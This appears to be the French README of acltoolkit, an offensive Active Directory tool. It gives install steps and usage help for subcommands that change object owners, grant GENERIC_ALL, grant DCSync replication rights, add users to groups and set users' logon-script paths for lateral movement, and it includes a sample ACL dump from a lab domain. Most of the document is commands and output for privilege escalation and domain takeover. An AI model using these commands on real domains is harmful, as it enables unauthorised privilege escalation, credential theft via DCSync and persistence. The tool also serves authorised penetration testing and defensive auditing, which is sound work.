
Boîte à outils d'abus ACL Active Directory pour l'escalade de privilèges, DCSync, modification de propriété d'objets, et mouvement latéral via la manipulation de scripts d'ouverture de session et les changements d'appartenance à un groupe.
acltoolkit est un couteau suisse pour les abus ACL. Il implémente de multiples abus ACL.
pip install acltoolkit-ad
ou
git clone https://github.com/zblurx/acltoolkit.git
cd acltoolkit
make
usage: acltoolkit [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-scheme ldap scheme]
target {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} ...
Couteau suisse pour les abus ACL
positional arguments:
target [[domain/]username[:password]@]<target name or address>
{get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript}
Action
get-objectacl Obtenir l'ACL d'un objet
set-objectowner Modifier le propriétaire d'un objet
give-genericall Accorder GENERIC ALL à un objet sur un objet cible
give-dcsync Accorder les capacités DCSync à un objet sur le domaine
add-groupmember Ajouter un membre à un groupe
set-logonscript Modifier le script de connexion d'un utilisateur
options:
-h, --help affiche ce message d'aide et quitte
-debug active le mode DEBUG
-no-pass ne pas demander le mot de passe (utile pour -k)
-k utiliser l'authentification Kerberos. Récupère les identifiants depuis le fichier ccache (KRB5CCNAME) en fonction des paramètres cible. Si aucun identifiant valide n'est trouvé, utilise ceux spécifiés dans la ligne de commande
-dc-ip ip address adresse IP du contrôleur de domaine. Si omise, utilise la partie domaine (FQDN) spécifiée dans le paramètre cible
-scheme ldap scheme
authentication:
-hashes LMHASH:NTHASH
hachages NTLM, format LMHASH:NTHASH
$ acltoolkit get-objectacl -h
usage: acltoolkit target get-objectacl [-h] [-object object] [-all]
options:
-h, --help affiche ce message d'aide et quitte
-object object vide l'ACL pour <objet>. Le paramètre peut être un sAMAccountName, un nom, un DN ou un objectSid
-all liste chaque ACE de l'objet, même les moins intéressants
La commande get-objectacl prend un sAMAccountName, un nom, un DN ou un objectSid en entrée avec -object et liste le SID, le nom, le DN, la classe, adminCount, le script de connexion configuré, le groupe primaire, le propriétaire et la DACL de l'objet. Si aucun paramètre n'est fourni, elle liste les informations concernant le compte utilisé pour l'authentification.
$ acltoolkit waza.local/jsmith:Password#[email protected] get-objectacl
Sid : S-1-5-21-267175082-2660600898-836655089-1103
Name : waza\John Smith
DN : CN=John Smith,CN=Users,DC=waza,DC=local
Class : top, person, organizationalPerson, user
adminCount : False
Script de connexion
scriptPath : \\WAZZAAAAAA\OCD\test.bat
msTSInitialProgram: \\WAZZAAAAAA\OCD\test.bat
Groupe primaire
Sid : S-1-5-21-267175082-2660600898-836655089-513
Name : waza\Domain Users
DN : CN=Domain Users,OU=Builtin Groups,DC=waza,DC=local
[...]
Groupe propriétaire
Sid : S-1-5-21-267175082-2660600898-836655089-512
Name : waza\Domain Admins
Dacl
ObjectSid : S-1-1-0
Name : Everyone
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : User-Change-Password
[...]
ObjectSid : S-1-5-32-544
Name : BUILTIN\Administrator
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983485
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, CREATE_CHILD
IsInherited : True
$ acltoolkit set-objectowner -h
usage: acltoolkit target set-objectowner [-h] -target-sid target_sid [-owner-sid owner_sid]
options:
-h, --help affiche ce message d'aide et quitte
-target-sid target_sid
SID de l'objet ciblé
-owner-sid owner_sid Nouveau SID du propriétaire
La commande set-objectowner prend en entrée un SID cible et un SID propriétaire, et modifie le propriétaire de l'objet cible.
$ acltoolkit give-genericall -h
usage: acltoolkit target give-genericall [-h] -target-sid target_sid [-granted-sid owner_sid]
options:
-h, --help affiche ce message d'aide et quitte
-target-sid target_sid
SID de l'objet ciblé
-granted-sid owner_sid
SID de l'objet auquel GENERIC_ALL est accordé
La commande give-genericall prend en entrée un SID cible et un SID accordé, et modifie la DACL pour accorder GENERIC_ALL au SID accordé sur l'objet cible.
$ acltoolkit give-dcsync -h
usage: acltoolkit target give-dcsync [-h] [-granted-sid owner_sid]
options:
-h, --help affiche ce message d'aide et quitte
-granted-sid owner_sid
SID de l'objet auquel les capacités DCSync sont accordées
La commande give-dcsync prend en entrée un SID accordé, et modifie les autorisations pour accorder les capacités DCSync au SID accordé.
$ acltoolkit add-groupmember -h
usage: acltoolkit target add-groupmember [-h] [-user user] -group group
options:
-h, --help affiche ce message d'aide et quitte
-user user Utilisateur ajouté à un groupe
-group group Groupe dans lequel l'utilisateur sera ajouté
La commande add-groupmember prend en entrée un sAMAccountName d'utilisateur et un sAMAccountName de groupe, et ajoute l'utilisateur au groupe.
$ acltoolkit set-logonscript -h
usage: acltoolkit target set-logonscript [-h] -target-sid target_sid -script-path script_path [-logonscript-type logonscript_type]
options:
-h, --help affiche ce message d'aide et quitte
-target-sid target_sid
SID de l'utilisateur ciblé
-script-path script_path
Chemin du script à définir pour l'utilisateur ciblé
-logonscript-type logonscript_type
Variable de script de connexion à modifier (par défaut scriptPath)
La commande set-logonscript prend en entrée un SID cible et un chemin de script, et définit le chemin du script de connexion de l'utilisateur ciblé avec le chemin spécifié.